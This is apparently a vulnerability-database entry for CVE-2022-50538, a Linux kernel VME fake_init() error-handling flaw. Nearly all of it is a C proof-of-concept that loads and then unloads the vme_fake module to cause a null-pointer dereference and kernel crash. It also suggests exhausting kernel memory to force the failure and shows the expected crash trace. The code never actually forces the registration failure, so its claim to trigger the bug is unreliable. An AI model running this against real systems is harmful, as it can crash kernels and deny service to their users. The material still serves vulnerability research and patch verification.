CVE-2022-50538 Linux内核VME子系统fake_init()未捕获错误漏洞

/* CVE-2022-50538 PoC - Trigger kernel crash via VME module load/unload * This PoC demonstrates how to trigger the null-pointer dereference * in fake_init() by causing __root_device_register() to fail * and then unloading the module. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int main(int argc, char *argv[]) { // Step 1: Attempt to load the VME fake module // The fake_init() function calls __root_device_register() // which may fail under certain memory conditions printf("[*] Attempting to load vme_fake module...\n"); int ret = system("modprobe vme_fake 2>/dev/null || insmod /lib/modules/$(uname -r)/kernel/drivers/staging/vme/vme_fake.ko 2>/dev/null"); if (ret != 0) { printf("[-] Module load returned non-zero (may indicate init failure)\n"); } // Step 2: Immediately unload the module // If __root_device_register() failed but was not checked, // the exit function will try to unregister an invalid device printf("[*] Unloading vme_fake module to trigger crash...\n"); ret = system("rmmod vme_fake 2>/dev/null || modprobe -r vme_fake 2>/dev/null"); printf("[*] Done. Check dmesg for kernel panic if vulnerable.\n"); return 0; } /* * Alternative: Trigger via /sys/module manipulation or by exhausting * kernel memory before module load to force __root_device_register() failure. * * Kernel crash trace expected: * general protection fault, probably for non-canonical address * RIP: 0010:root_device_unregister+0x26/0x60 * Call Trace: * __x64_sys_delete_module+0x34f/0x540 * do_syscall_64+0x38/0x90 * entry_SYSCALL_64_after_hwframe+0x63/0xcd */